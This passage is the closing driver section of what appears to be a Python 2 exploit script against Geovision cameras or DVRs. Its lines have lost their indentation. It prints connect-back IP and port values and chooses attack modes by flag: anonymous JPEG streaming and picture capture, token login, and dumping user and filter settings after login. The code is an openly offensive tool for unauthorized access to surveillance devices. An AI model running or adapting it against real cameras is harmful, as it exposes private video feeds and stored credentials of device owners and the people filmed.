print "[i] Connect back IP:",lhost  
print "[i] Connect back PORT:",lport  
  
rhost = rhost + ':' + rport  
  
  
headers = {  
'Connection': 'close',  
'Content-Type' : 'application/x-www-form-urlencoded',  
'Accept' : 'gzip, deflate',  
'Accept-Language' : 'en-US,en;q=0.8',  
'Cache-Control' : 'max-age=0',  
'User-Agent':'Mozilla'  
}  
  
# Print Model and Firmware version  
Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()  
if deviceinfo:  
sys.exit(0)  
  
  
# Geovision token login within the function  
#  
if GEOtoken:  
Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).GeoToken():  
print "[!] Failed"  
sys.exit(1)  
else:  
sys.exit(0)  
  
  
if anonymous:  
if jpegstream:  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):  
print "[!] Failed"  
sys.exit(0)  
elif picturecatch:  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):  
print "[!] Failed"  
sys.exit(0)  
else:  
print "[!] Needed: --anonymous [--picturecatch | --jpegstream]"  
sys.exit(1)  
  
else:  
#  
# Geovision Login needed  
#  
if usersetting:  
if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).UserSetting(DumpSettings):  
print "[!] Failed"  
sys.exit(0)  
elif filtersetting:  
if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).FilterSetting():  
print "[!] Failed"  
sys.exit(0)  
elif jpegstream:  
if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):  
print "[!] Failed"  
sys.exit(0)  
elif picturecatch:  
if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):  
print "[!] Failed"  
sys.exit(0)  
else:  
print "[!] Needed: --usersetting | --jpegstream | --picturecatch | --filtersetting"  
sys.exit(1)  
  
sys.exit(0)  
#  
# [EOF]  
#  
  
`